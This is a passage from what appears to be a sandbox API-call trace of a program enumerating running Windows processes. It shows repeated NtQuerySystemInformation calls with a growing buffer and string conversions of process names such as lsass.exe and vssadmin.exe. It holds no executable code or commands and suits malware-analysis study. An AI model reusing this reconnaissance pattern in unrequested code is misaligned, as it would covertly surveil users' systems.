DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161da8 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0073.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0073.205] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713d0 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x31713d0 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dc0 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0073.206] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31624a0 [0073.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713d0 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e50 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175d88 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0073.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0073.207] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x31713d0 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0073.208] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0073.208] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0073.208] Sleep (dwMilliseconds=0x64) [0076.940] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0076.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.942] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0076.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.943] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0076.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.943] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0076.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.943] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0076.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.943] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0076.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.943] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0076.943] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.944] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0076.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.944] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0076.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.944] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0076.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.945] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0076.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.945] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0076.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.945] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0076.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.946] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0076.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.947] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0076.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.947] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0076.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.947] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0076.947] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.948] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0076.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.948] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0076.948] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.949] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0076.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.949] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0076.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.949] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0076.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.950] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0076.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.950] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0076.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.951] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0076.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.951] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0076.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.952] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0076.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.952] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0076.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0076.952] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0076.952] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0076.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0076.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175c28 [0076.953] RtlFreeAnsiString (AnsiString="System") [0076.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175c28) returned 1 [0076.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0076.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e20 [0076.953] RtlFreeAnsiString (AnsiString="smss.exe") [0076.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0076.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0076.953] RtlFreeAnsiString (AnsiString="csrss.exe") [0076.953] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0076.953] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0076.953] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.954] RtlFreeAnsiString (AnsiString="wininit.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0076.954] RtlFreeAnsiString (AnsiString="csrss.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0076.954] RtlFreeAnsiString (AnsiString="winlogon.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0076.954] RtlFreeAnsiString (AnsiString="services.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dc0 [0076.954] RtlFreeAnsiString (AnsiString="lsass.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0076.954] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.954] RtlUnicodeStringToAnsiString (in: 